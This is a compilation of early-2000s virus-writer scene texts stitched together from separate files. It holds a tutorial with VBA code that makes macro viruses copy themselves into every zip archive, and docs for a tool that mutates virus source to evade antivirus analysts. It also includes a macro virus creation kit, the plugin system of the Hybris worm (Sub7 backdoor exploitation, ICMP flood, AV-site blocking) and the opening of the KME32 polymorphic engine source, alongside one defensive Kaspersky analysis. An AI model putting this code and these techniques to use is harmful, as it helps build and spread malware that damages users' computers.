to say that this one is my favourite. XD. I'm going to tell y'all about the
kewl tool Winzip and it's viral capabilities. What would you think if your
virus adds itself to every .zip archive it can find on the user's pc? Rad?!
Aight! As you have to know, I have nothing better to do than writing shitty
papers about elephants and tortoises, just that you can learn a bit out of
them. Okies, the first step to use this kewl technic is that you have to
check for the path where Winzip is installed on the local machine.

As you read before you can use the registry to get the needed information.
Would I be out of line if I give you an example? Naawww. XD. Okies, let's
have here some code to learn. It's taken from my WM97/2000.Incubus.

z = Application.System.PrivateProfileString("", _
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows" & _
"\CurrentVersion\App Paths\winzip32.exe", "")

We got the path of Winzip into the variable 'z'. XD. Well, that you know, I
am not going to show you how to search for .zip files. Use VBA commands or
do some .vbs file as Incubus does. After you got some .zip files, you can
use the following to add your virus to the file.

VBA.Shell z & " -a -r " & "YourFile.ZIP" _


& Chr(32) & "Virus.EXT", vbHide

I hope I needn't to say that your file must have pathinformation included.
For example 'c:\pictures.zip' and 'c:\windows\hiddenvirus.doc' or something
like that.

If you are kinda involved into viral stuff, you might have noticed that you
can write IRC-worms using the script language of mIRC,pIRCh, etc. Btw, IRC
is the place where we meet. XD. Okies, enough. There were some worms and
viruses that spread through IRC-channels so the developer of mIRC, etc build
in some kinda protection against some filetypes. Actually all kewl filetypes
like .exe, .com, .vbs, .doc, etc are ignored, so I came to the idea to let
my macro zip itself to get save through the IRC-channels. XD. There are only
two viruses which do it, it's first Co0kie and second Incubus, both by ehm..
my humble person. The concept is easy, the code too. Lemme drop you here an
example taken from Co0kie.

z = Application.System.PrivateProfileString("", _
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows" & _
"\CurrentVersion\App Paths\winzip32.exe", "")
w = Environ("windir")

VBA.Shell z & " -a -r " & w & "\co0kie.zip" _


& Chr(32) & w & "\how_to_make_tasty_co0kies.zip", vbHide

Basically it's the same as the code above. As you see, it creates a .zip
file into the windows directory. The best on this is that mIRC doesn't have
.zip files on it's damn auto-ignore phuckshit. XD.

There are some other parameters for Winzip which are more or less usefull
for your viruses. Maybe you can need 'em. Use '-f' to renew the archive, '-m
' to move, '-u' to update, '-r' to include subdirs, '-p' to include path,
'-ex' for maximum of compression, etc, etc...

.Outroduction

Finally, another strange paper you read and I wrote, reaches it's end. Last
but not least, I have to mention a few kewl coders, which werk I really app-
reaciate and which is phuckin'rad.XD. I'm talking about guys like, Knowdeth,
LysKovick, Anti State Tortoise, VicodinES, Spo0ky, Foxz and some others who
walked together with me through the dark woods of new inovative macro tech-
nics. Thank you guys, you really did kewl werk!

I dunno yet if there will be any new stuff coming from my side, because I
feel kinda lazy these days. A lot of shit happenend and is happening and I'm
kinda forced to leave things away. Only thing left to say which fits lately
is 'mens sana in corpore sano', but I dunno if it fits for me. If I should
burst into the flames, I just want you to know that I love you all. xD

The last column of this paper is dedicated as an appeal to all the new guys
that come outta ground from day to day. If you wanna learn, you're welcome,
otherwise, get the phuck outta our world. So, in this sense, don't let the
world bring you don't young coder and remember, whatever tomorrow brings, I
could be there...XD. Sleep tight and listen to Black Sabbath!

Mens sana in corpore sano,


jackie

Carinthia.Austria.Europe 15:38 24.06.00

.Greets'n'Thanks

Phewie, this time I'm gonna shorten my list of shout out's a bit. Well, I
hope I do not forget any of the kewl souls out there...

.SlageHammer .Ya phuckin' rule bro, thanks for everything. I _


hope everything werks out again...
.heXc .Thanks that y'are the only true one left.
.Knowdeth .Yo bro, thanks for your mental care on me...
.LysKovick .My favourite coder!!!
.Anti State Tortoise .Ya're a rad coder. Sorry but I couldn't mail _
back, but I hope we can one day do our project.
.Flitnic .Be like the young coders: don't let the world _
bring you down, see what is happening to me! XD
.Spo0ky .Hope ya doin' fine. Give a lifesign man!
.Virtual Life .Thanks for sharing ideas with you.
.Equals9 .Man, where are you around?
.Foxz .Hmmm...Foxz? Foxxxxxxxzzzzz? Fooooooxxxxxxxzz!
.Evul .You roq the planet!
.Mandragore .I want you for president!
.Roadkil .My favourite op!!!
.b0z0 .Thanks for all the kewl talks we have and of _
course your help!
.Mr Sandman .It's nice to talk to ya!
.Error .My greatest fan xD
.Darkman .Phew, we haven't talked since ages...;(
.Virus Buster .Supa dupa special thanks for that exception!
.All I forgot .I luv y'all, ya beautiful, catch y'all around!

.Linezer0 Network .Hi there tribe, CD, NtS, Hermes and all others!
.Metaphase .Phuckin' great team.

This paper is dedicated to most beautiful and kewlest girlie around


heiXe today, tomorrow, forever

.Contact

If any of you feel like contacting me, you can use the following sources to
contact me. No spam please.

WorldWideWeb: http://www.coderz.net/jackie/
EMail: jackie@coderz.net
IRC: Undernet #virus
ICQ: 36135930

.Kewl Music

.Black Sabbath .Best of


.Soufly .Primitive
.Deftones .Adrenaline

[Linezer0 Oldskewl Tribe - Always lazy, always bored, always last]


Behold PE V4.0 (C) 2000 Lord Julus / 29A

Welcome to a new utility from me! This time it's a


Portable Executable viewer. This viewer will allow you to get
into the deepest and darkest places into the PE file headers
helping you develop applications to use this information.

This utility is quite easy to use; basically you must


start with a PE file on the command line and then the most
information on the file will be displayed on the main window.
Here you can scroll up and down to see more and you can save the
data from the screen into a text file.

You can also access the directories table and the sections
and look them up. Those sections and directories which are known
(like imports, exports, relocations, resources) are displayed at
the full extend, allowing you to see everything.

To use the features you must press the right keys as


written in the status bar help.

Good luck!

Feel free to write me at lordjulus@geocities.com for bug


reports and suggestions!

Lord Julus / 29A


Rajaats Recursive Random Assembler Code Creator (RRRACC) Version 1.03
Internal Version Id RRRACC1.03

To see usage, use with --help

A word of warning
~~~~~~~~~~~~~~~~~
This tool is not intended for use by novice users, since you will
need in-depth assembler knowlegde to know what kind of operands
cause which flags to trigger, or what operands you can change
without creating a possibility that one of the generated source
codes will not compile properly, or even worse, produce a virus that
is defective! RRRACC also ain't fool proof yet, and it could benefit
from a lot of improvements, so if you don't use it with care,
disasters could happen. In other words,

YOU HAVE BEEN WARNED!!!!!

General
~~~~~~~
Rajaats Recursive Random Assembler Code Creator, RRRACC for short
(and if you still don't like it you can pronounce it as ROCK), is a
utility that processes text files, recognizes special tokens which
it uses to randomize the input, and write the result to an output
file. This does not have to mean assembler code, but my primary
intention was to make it work mainly with assemblers.

Invocation
~~~~~~~~~~
To invoke RRRACC on a file, use the following syntax:
RRRACC infile.ext outfile.ext

RRRACC does not perform any extension checking, so I suggest you


use .rrr for source file extension, and .asm for the RRRACC
generated files.

The output will usually show something like this:

----------
Rajaats Recursive Random Assembler Code Creator (RRRACC) Version 1.03
Internal Version Id RRRACC1.03

To see usage, use with --help

Pass one - reading input file dsa2.rrr...


Pass two - processing file...
Pass three - write the processed file to dsa2.asm...
Done.

Statistics:
1 mutation out of 8.88520724322027e+62 possible complete mutations
1 mutation out of 589824 possible line mutations
1 mutation out of 1.50641670112106e+57 possible variable mutations
1 mutation out of 1 possible variable ranges

Please be nice and do not remove the header of the generated file, it is
for educational purpose only. :-)

Comments to rajaat@itookmyprozac.com
----------

Please not that RRRACC doesn't has strong error checking, so you
better get familiar with the inner workings of the tokens, which I
will explain to you in the next section. You also might get shocked
at the large numbers in the statistics. These are mathematically
correct, assuming the instructions are very different in nature, a 1
out of 1 mutation means that there weren't any mutations performed
of this type.

ASM to RRRACC
~~~~~~~~~~~~~
The most common use of RRRACC is probably converting an existing
virus source to a RRRACC parseable one, which is easiest to do in
the beginning. If you grow more accustomed to the use of RRRACC you
might want to write directly code that can be parsed by it.

RRRACC is able to do only three things:

1. Random change a consecutive range of lines


2. Pick a random string from a selection and put it in a variable
3. Replace variable references in the asm source with the random
chosen selection

This might not seem a lot, and indeed I think it is yet a start, but
if properly applied, this can create tons of variants from one
single RRRACC source.

How to swap lines


~~~~~~~~~~~~~~~~~
This is the easiest part to understand, I bet even macro virus
writers understand this (oh oh, I feel I'll get my arse kicked
for saying this). All you have to do is put a ! (that's right,
and exclamation mark) at the start of the lines you wish to
randomize. For example

! mov ax,4202h
! xor cx,cx
! xor dx,dx ; DON'T USE CWD!
int 21h

would mean that the first three lines can be changed in random
order. I also hereby present you the first caveat you could get
yourself entangled in. If you are an optimizing fanatic and
change the xor dx,dx to a cwd ,it might have a chance of
generating a sequence like this

cwd
mov ax,4202h
xor cx,cx

where you don't know what value ax had before it was converted
to a doubleword. You are in luck if ax already happens to be
less than 8000h. If you don't understand this, go buy a book
about assembler or surf the internet to get one.

Well as you see, it's not hard to use RRRACC, it's more a
problem of knowing assembler right. Another example

! pop ds
! cmp ax,4b00
jz infect
would be perfectly right, since the pop ds opcode does not
affect the flags, so the cmp ax,4b00 is allowed to be swapped
before it. But look out for this

! pop ds
! mov word ptr ds:[old_21],bx

since the second line depends on ds set properly, you can't swap
these.

Assigning a random string to a variable


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Variables are assigned on a separate blank line, which will be
ommited in the output. Variables are recognized by their ~
prefix, and can contains characters,digits and _, however they
may not start with a digit (I could support this, but it's not a
good habit of using them anyway). I'll show a silly example and
explains what it does:

~rndreg = ( "bx" "cx" "dx" ) ; 1


~rndmov = ( "mov" "xchg" ) ; 2
~rndmov ~rndreg,ax ; 3
push ~rndreg ; 4
~rndreg = ( "bx" "cx" "dx" "si" "di" ) ; 5
~rndopen = ( "3d02h" "3d82h" ) ; 6
mov ~rndreg,~rndopen ; 7
~rndmov = ( "mov" "xchg" ) ; 8
~rndmov ax,~rndreg ; 9
int 21h ; 10
pop cx ; 11

At line 1, the variable rndreg gets a value assigned from chosen


random from its parameters. Lets say, ~rndreg becomes bx. At
line 2 we'll do the same, but then we don't assing a random
register, but a random operand. In this example, we'll assume
~rndmov gets "xchg" assigned. Now line 3 and 4 will be parsed
and RRRACC sees the variables and will replace them with their
random assigned value. The above example *could* generate:

xchg bx,ax or mov dx,ax or xchg cx,ax


push bx push dx push cx

A random value stays assigned to a variable until the variable


is reused/reinitialized. Once you know this, understanding the
rest of the above example is very easy.

Assigning a random hex number to a variable


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Since assigning variables has been extended with the
possibility of generating a hexadecimal random number between
two numbers. Hexadecimal numbers are specified in C notation,
but the output will be TASM compatible.

~maxlen = ( 0xe000 0xf400 ) ; maximum host size


~cjump = ( "ja" "jae" )
cmp cx,~maxlen
~cjump too_big

Combining
~~~~~~~~~
The true power of RRRACC (yuck) comes in view when you combine
both the line randomizer and the random variable substitution.
I'll show you a little example again:
~rndzero1 = ( "xor" "sub" )
~rndzero2 = ( "xor" "sub" )
! mov ax,4202h ; seek eof
! ~rndzero1 cx,cx
! ~rndzero2 dx,dx

This is very annoying if for antivirus researcher to analyse if


you can create enough possibilities in your source code to
get randomized.

A small word on the mutation mathematics


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Here is a small table that shows the amount of mutations possible
with a certain amount of consecutive lines set to randomized order:

Consecutive Lines Possible amount of mutations


============================================================
1 1
2 2
3 6
4 24
5 120
6 660
7 4,620
8 36,960
9 332,640
10 3,326,400

The formula to calculate this is fairly simple and straightfordward,


you just take the amount of mutations possible shown by the last
line and multiply it by the amount of consecutive lines on the next
line, so 11 consecutive lines show give a possible 11*3,326,400
amount of mutations, and so on. To calculate the total amounts of
line mutations possible in a file, multiply all possible amount of
mutations times of all the blocks encountered in the source code. I
think I am correct in my calculations, but I would love it to be
proved wrong by Alan Solomon, after all he's a doctor in
mathematics. :-)

Future
~~~~~~
RRRACC is very powerful in its simplicity, still it lacks a lot of
thing I would like to add before I start on my GRACE project, like

+ random ordering blocks of code in addition to lines


+ variables assignments and parameters that can span more than a
line (and can contain newline characters, possibly with a new
line starting with a !, which should be randomized)
+ recursive variable assignment (by using variables in
variables, I didn't call it rRracc for nothing <grin>)
+ parameter exclusion, so you can say that it can't choose a
parameter thas has been assigned to another variable
+ random line ordering reversed stack, so you can push and pop
registers in the right order
+ stronger error checking - this version has some, but not
enough to my liking
+ multiple file processing and bulk output (using numbering
instead of an extension)
+ optional automatic compilation, by calling a batch file (to
invoke assembler/linker with your own parameters), ideal for
bulk generation
History
~~~~~~~
02-28-1999: Release of RRRACC 1.03, including PERL source
+ Final release of RRRACC, since it is very bulky, when
compiled, and I have finally started on coding GRACE,
so this should become obsolete. Maybe I will release
newer versions if I still think there should be an
intermediate release before the first beta release of
GRACE. At least I hope the source code will be
interesting to study for PERL fanatics.

01-23-1999: Release of RRRACC 1.02


+ Shows amount of possible random mutations in a source
file, don't get shocked at the monstrous numbers,
these numbers are mathematically correct (at least
they are, I think, if you doubt it, just try to
generate some samples and prove me it calculates
wrong)

01-21-1999: Release of RRRACC 1.01


+ Support for random hex ranges added

01-20-1999: Release of RRRACC 1.0

01-19-1999: Release of SwapLine, actually RRRACC 0.01á :-)

Contact
~~~~~~~
If you have any questions or bug reports (this does not include
invalid use, read the docs), feel free to mail them to
rajaat@itookmyprozac.com and I'll try to answer them. You can also
check my website for new updates or new programs, which is located
at
http://www.sourceofkaos.com/homes/rajaat

Hint
~~~~
You might want to print out this help, which can simply do by
redirecting the output, like : RRRACC --help > lpt1.
The WalruS Macro Virus Generator (WMVG)

The WalruS Macro Virus Generator Is A Easy To Use Virus Creation Kit For Word 97/2K. WMVG Is
AutoRun When The Document WMVG.doc Is Opened In Word.

Currently WMVG Has The Following Virus options.

Infection Hook : Open Or Close


Infection Routine : String Copy Or Import/Export To File
Stealth : On Or Off
Add Random Noise : On Or Off
mIRC Worm Spreading : On Or Off
VBS Backup : On Or Off
Payloads: None, Message Box, CD Tray, Kill Document, Hiccups, Colours, Assistant Message,
Plugin Your Own,
Payload Trigger : On Infection Hook, By Date, Random,
Create Source Code : On Or Off
WMVG Creates Viruses With Random Variable Names Upon Each Run. Random Noise Can Also Be Added.

In Addition There Are Text Boxes For Virus Author, Virus Name And Virus Comments (Not
critical).

Every Option Has An Associated Help Button Providing A Help Message Box

Viruses And Source Are Created In C:\My Documents

In Addition To Making Viruses WMVG Also Has An Extras Screen. Here There Are The Following
Options.

Contact The WalruS : Mail, Web Page, IRC


Greets : My Pals
Drop A WalruS Virus : Fools Gold, Puny, LSD, Furio

Scattered Throughout The WMVG Are Secret And Hidden Bits Of Information (Just For Fun)

In Future WMVG Will Be Updated To Include More And Different User Options.

WMVG Was Designed, Written And Tested On Word 2K. If You Spot A Bug Of Any Kind Please
Inform Below. Please

WMVG Fonts Are Comic Sans MS Which Is Part Of Office Installation. Should The WMVG Text
Look Incorrect Then Ensure That The Font Is Present In The C:\Windows\Fonts Folder. If It Is
Not Then The Font Is Provided With WMVG In The Folder Labelled Font

For Any Comments, Questions Or Bugs Contact WalruS Direct Below.

WalruS@Z.com
http://www.WalruS.8k.com
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[HOWWORKS.TXT]ÄÄÄ
HOW WRITE YOUR OWN MUAZZIN

Muazzins receive control at first byte, and can respond to the following
request, passed in the appropriated structure:

MT_QUERY - called for all muazzins, used for self identification,


should return name, version, and requests it support

MT_PROCESSDROPPER - called with the buffer and the current size as parameter,
is the place to insert poly over the dropper, change the
icon, and all other things that affect the form of the
pe exe dropper, that is the traveling form of the virus.

MT_BLOCKIP - called with the IP that the user pretend connect and the
port, it have several uses. Can block the IP of AV sites
in the internet, can save the smtp and nntp server that
the user uses, can scan for open machines in these
network, etc...

MT_APP - generic porpouse, is here the place for payloads, scan


for files of different kinds to infect, and all other
type of thing.

MT_GENTEXT - to avoid suspicion, the text used for sending e-mail is


generated by this muazzin. it create the body of msg,
the headers, and determine the attachment name. Here,
you can put your engine and generate random but still
understandable texts about sex, pokemons, jokes, etc...

MT_BLOOM - here, the muazzin should try to contact a source of


muazzins and retrieve they. Acessing usenet newsgroups,
irc, pop3 e-mail account, www/ftp sites, all is done
here...

MT_BREED - called each full moon, is the time for the muazzin send
all muazzins installed in current system to places where
others muazzins, by using MT_BLOOM, can retrieve they.
Post to usenet, sending emails, etc should be done here.

Notice that a single muazzin can respond to more than one type of call. Is a
good idea make they work together: a muazzin that generate texts about pokemon
in MT_GENTEXT can also change the icon, in MT_PROCESSDROPPER. A muazzin that
scan for back orifice backdoor at each MT_BLOCKIP and upload itself to there,
should also process MT_APP, coz the dropper, that it will need to upload to
backdoor, isnt passed in calls to MT_BLOCKIP. Etc...

Also notice that these rules arent written in stone: nothing forbid you to,
in a dynamic system as IRC, use MT_BLOOM to receive and also send muazzins,
or like.

Once you have written your own muazzin, you should encrypt and sign it with
the included utility, and should test it lots. They key included in this
release isnt the key that the virus carry, so, dont wait for it work with "in
the wild" samples. If you think that others infected machines need your
muazzin, contact me for a signature.
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[HOWWORKS.TXT]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MUAZZINS.TXT]ÄÄÄ
SAMPLE MUAZZIN INCLUDED:

/PE - Infect pe exe without increasing the size neither changing


the CRC 16/32/48 of the file. Code section is compressed.
Write the dropper to disk to /temp directory, then run and
delete. Files are searched by special DLL. Win98 specific.

/PE2 - Polymorphic pe infector using a modificated version of


KME32 by Z0MBiE. Added CALLS/JCC. Increase last section.
Write and run dropper. Recursive search.

/EXE - Infect DOS EXE files. Infected files check Win32 OS and
write and run dropper if positive. Recursive search.

/HLP - Search and infect HLP files with Babyloniaïs hlp infection
scheme. Recursive search.

/RARZIP - Search for ZIP and RAR files, using Z0MBiE library, and
add droppers to they. Recursive search.

/SPIRALE - Thanks to Spanska. Drop a exe file, and register to always


run at boot. Hypnotic spirale then control the mind of the
user. Process hard-to-close, making delete hard for user.

/HTTP - Connect to several www sites, using WININET.DLL, and tries


to retrieve new muazzins.

/USENET - Connect to nntp server, retrieve posts, check subjects for


special checksum, and read possible muazzin. In full moon
nights, it post to usenet via a mail2news gateway.

/DOC - Second outsider muazzin contribution, this co-work with


Alevirus enable Hybris to infect Microsoft WinWord DOC.

/SUB7 - Scan contacted subnet type C for sub7 backdoor, and then
upload/run/delete virus dropper to such system. Bypass
sub7 server password. To do the manual work ;)

ARJ.S - Search and write droppers to ARJ files. Recursive search.

AV!INET.S - Block access to the most common AV sites.

DDOS.S - ICMP flood weapon.

EMAIL.S - Send a email to a hotmail account, for a census.

ENCR.S - Encrypt droppers with a semy-polymorphic layer.

TEXT.S - Generate "erotic" text for e-mails body.

JOKE.S - Generate a joke in english/french/spanish/portuguese mails

SERVER.S - Save the users default SMTP and NNTP servers to registry,
and return they at virus request.
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MUAZZINS.TXT]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[GREETS.TXT]ÄÄÄ
If I can see fo far, is becoz I am in the shoulders of giants...

This virus will not exists if was not by the extreme help and support of
several peoples, that helped in all phases of the develpment. Greetz go to
Spanska and Mister Sandman, the intellectual co-authors of this virus, to
Z0MBiE, the master coder, for all kind of magic routines. Finally, the
brazilian crew, my team, with Kamaileon, NBK, Alevirus and Nimbus, that,
beside the testings and the help in several muazzins, give me support and
made this creation know worldwide. ;-)
Greets also go for VirusBuster and Gigabyte, that always give me the
emotional support in my dark days, and urgo32, that tried to teach me math.

Thanks to all my other friends, be in IRC, be in the vx groups, that, with


his chats and codes, inspired me always. I cant name they all here.

Vecna, 2000

ps: to contact me, contact somebody named here, and they will make your name
and email reach me.
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[GREETS.TXT]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[FILE_ID.DIZ]ÄÄÄ
KME-32 v3.00 - Kewl Mutation Engine
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- easy to use
- compatible with any 32-bit platform (Win9X/WinNT, ring0/ring3)
- stack algorithm, allowing data compression
- highly configurable
- commented sources included
- full russian/english documentation
- examples
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[FILE_ID.DIZ]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ZMORPH.TXT]ÄÄÄ
Win95.ZMorph

------------------------------------------------------------------------
These are Win9x viruses infecting PE EXE files (Windows executable files).
The viruses have a significant feature - a polymorphic engine that is used
by viruses to hide their code in infected files. This polymorphic engine
modifies the virus code so that there is not a single piece of virus code
continuously stored in an infected file, in any encrypted and "clear" form.

Instead of the "standard" method of appending the virus code to the file as
a continuous sequence of [encrypted] code instructions, data areas, e.t.c.,
the virus addition to infected files looks like a chain of routines of
random size, randomly stored at the end of the file; each routine passes
control to the next one, and all these routines are polymorphic:

+-------------+

|Infected file|

|code and data|

+-------------+ <--------+

|+-----+ | Routine3 ---------|--+

|+-----+ | | |

| | | |

| | | |

| +-------+ | | |

| +-------+ | Routine1 -----+ | |

. . . | | |

. . . | | |

+----+ | | |

| +----+ | <----+ | |

|+---+ | Routine2 --------+ |

|+---+ | |

| +----+| |

| +----+| e.t.c <----------+


+-------------+

By using arithmetic instructions of different types (which are totally


polymorphic) these routines construct "clean" virus code double-word by
double-word, and store them on the stack. At the end of this process the
"clean" and complete virus code is stored in the stack, and the last routine
jumps to there to the "real virus" code.

Because of such a method to store the virus code while infecting, the files
length grows by large values - up to 30Kb. The size of the virus addition to
the file may be approximated as "real virus" size multiplied by six (in case
of 5200 bytes virus the victim files size grows by about 32K).

ZMorph.2784

This is a memory resident Win9x virus. It switches its code to system driver
mode (Ring0), allocates a block of driver's memory, copies itself to there
and hooks two events: port 8888h reading (is used for "Are-you-here" call to
detect already installed TSR virus copy), and IFS API (files access
functions). The virus then returns control to the host file. The virus TSR
copy is then active as VxD system driver, intercepts file access functions
and infects PE EXE files that are accessed.

The virus does not manifest itself in any way. It contains the text:

KME.Z0MBiE-4.b

ZMorph.5200

This version of the virus can be found in two variants: as infected PE EXE
file, and as a virus "installer" - RUNDLL16.EXE file in the Windows system
directory.

The virus does not perform any harm action except scanning Windows memory
for AVP Monitor and some other Windows resident anti-virus protection, and
disabling it by patching Monitor's code.

The virus contains an encrypted text in Russian, and virus author's


"signature":

z0mbie.cjb.net

When an infected file is executed, the virus' polymorphic code gets control,
restores the original virus code to the stack and jumps to there - to the
virus installation routine. The virus installation gets the needed Windows
functions addresses by scanning the KERNEL32.DLL image in Windows memory
(this is usual for most of Win32 viruses) and performs two actions: installs
virus code into the Windows system directory, and leaves virus resident copy
in Windows memory.

Ring0 component

To install itself memory resident the virus switches its code to system
driver mode (Ring0), allocates a block of driver's memory, copies itself to
there and hooks two events: port 8889h reading (is used for "Are-you-here"
calls to detect already installed TSR virus copy), and IFS API (files access
functions). The virus then returns control to the host file, and virus TSR
copy is then active as VxD system driver, intercepts file access functions
and infects PE EXE files that are accessed.

RUNDLL16 component
While installing its copy in Windows system directory the virus creates the
RUNDLL16.EXE file in there, writes to this file its image in PE EXE file
form, and spawns it. The RUNDLL16.EXE registers itself in the system as
Service Process (invisible task), and registers its file (RUNDLL16.EXE) as
auto-run file. To do that the virus creates the registry key:

HKLM\Software\Microsoft\Windows\CurrentVersion\Run rundll16 = rundll16.exe

The virus process then sleeps for several minutes, then scans subdirectory
trees on all fixed drives from C: till Z:, "touches" EXE files there, and as
a result forces Ring0 component to infect them.

Infection

As a result of installation the virus code is present in Windows memory in


two copies: the first one is a system process that scans all drives and
infects files on them; the second copy is active as system VxD driver that
intercepts file access functions, and infects PE EXE files that are
accessed.

While infecting a file the virus parses its internal PE format, increases
size of the last section, runs its polymorphic engine and writes the result
of it to the end of the file. The virus then modifies the necessary PE
header fields, including program startup address.

Virus analysis texts - Copyright 1996-2000 Eugene Kaspersky.


Web-version - Copyright Metropolitan Network BBS Inc. 1996-2000. All
Rights reserved.
Send your questions and suggestions to webmaster
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ZMORPH.TXT]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[KME32.INC]ÄÄÄ
;
; KME32 source
; ~~~~~~~~~~~~
; release 1.00 -- November'1999
; + permutable code (no data at all & etc)
; release 2.00 -- August'00 by Vecna
; + movsx/zx
; + cmp r, r/c ; poly_cmd() ; jz/nz follow/nofollow
; + push r/c ; poly_cmd() ; pop r
; + subroutine
; + call subroutine
; release 3.00 -- November'00 -- repaired back ;-)
; + BSR/BSF, MUL/IMUL/DIV/IDIV
; + AND/OR in genvalue
; + short-consts (such as 'sub reg, nn'), see FLAG_NOSHORT_C
; + other-opcodes ('cmd reg,reg' with inverted S-bit), see FLAG_NOSWAP
; + jz/nz --> jxx/nxx
; + subroutines/calls fixed, epilog-code fixed,
; + cycles
; + randomer fixed
; + now you can specify register values passed from engine
; into virus. 'exitregptr' parameter points to 8 dwords,
; eax/ecx/edx/ebx/esp/ebp/esi/edi.
; values, equal to -1, are unused.
; Also, only these registers are processed,
; which are specified in regavail bitset.
; + also, you can specify engine's initial register values.
; 'initregptr' parameter points to 8 dwords,
; same as with exitregptr parameter.
; + FPU (sin,cos)
;
p586

;LITE equ ? ; LITE: disable cmdavails & flags

C_EIP_MAX_ITER equ 10000 ; these parameters used to


C_EIP_TOP equ 32 ; find new JMP location
C_EIP_BOTTOM equ 32
C_EIP_PREV equ 10
C_EIP_NEXT equ 20

C_MAX_SUB equ 32 ; max # of subroutines

testcmd macro fl, lbl


IFNDEF LITE
test cmdavail, fl
jz lbl
ENDIF
endm

testcmd2 macro fl, lbl


IFNDEF LITE
test cmdavail2, fl
jz lbl
ENDIF
endm

flagsz macro fl, lbl


IFNDEF LITE
test flags, fl
jz lbl
ELSE
jmp lbl
ENDIF
endm

flagsnz macro fl, lbl


IFNDEF LITE
test flags, fl
jnz lbl
ENDIF
endm

kme_start:

kme_main proc pascal

; parameters -- pushed in reversed order


arg exitregptr:DWORD ; 0 or pointer to 8 dwords
arg initregptr:DWORD ; 0 or pointer to 8 dwords
arg i_offs:DWORD ; virus offset
arg i_size:DWORD ; virus size
arg i_entry:DWORD ; virus entry (relative)
arg o_offs:DWORD ; output offset
arg o_max:DWORD ; output max buf size
arg o_fillchar:DWORD; character to fill out buf
arg po_size:DWORD ; 0 or pointer to out buf size
arg po_entry:DWORD ; 0 or pointer to out entry (rel.)
arg jmp_prob:DWORD ; JMPs if rnd(jmp_prob)==0
arg randseed:DWORD ; randomer initializer
arg regavail:DWORD ; register set (REG_XXX)
arg cmdavail2:DWORD ; adv. command set (CMD2_XXX)
arg cmdavail:DWORD ; command set (CMD_XXX)
arg flags:DWORD ; flags (FLAG_XXX)

; local variables
local save_esp:DWORD

;; "state" (size is DWORD-aligned)


;; state should be preserved when genereating subs
local state_end:DWORD
local regused:DWORD ; set of used registers
local reginit:DWORD ; set of initialized registers
local em_reg:DWORD:8 ; register values (emulation)
local regbuf:BYTE:8 ; indexes of regs to be pushed
local state_begin:DWORD
;;

local in_subroutine:BYTE ; inside-of-subroutine


local tempo:DWORD ; use in ifollow/rfollow only
local p_count:DWORD ; # of generated subs
local p_addr:DWORD:C_MAX_SUB
local p_stack:BYTE:C_MAX_SUB
local p_conv:BYTE:C_MAX_SUB

local jxxcond:BYTE:16 ; flags, in perverted form


local fpuinit:BYTE
local fpustack:BYTE

pusha

mov save_esp, esp ; to jmp to @@error from subs

; fix regavail -- check if no registers given


and regavail, REG_ALL ; clear ESP if set
jnz @@regok
or regavail, REG_DEFAULT
@@regok:
mov edi, o_offs ; fill output buffer
mov ecx, o_max
mov eax, o_fillchar
cld
rep stosb

mov in_subroutine, cl
mov p_count, ecx
mov fpuinit, cl
mov fpustack, cl

; while generation, EDI contains current outpointer


mov edi, o_offs

; if need jmps & (not FLAG_EIP0) select random EDI


flagsnz FLAG_EIP0+FLAG_NOJMPS, @@skipnew
cmp po_entry, 0
je @@skipnew
call @@find_new_eip
@@skipnew:

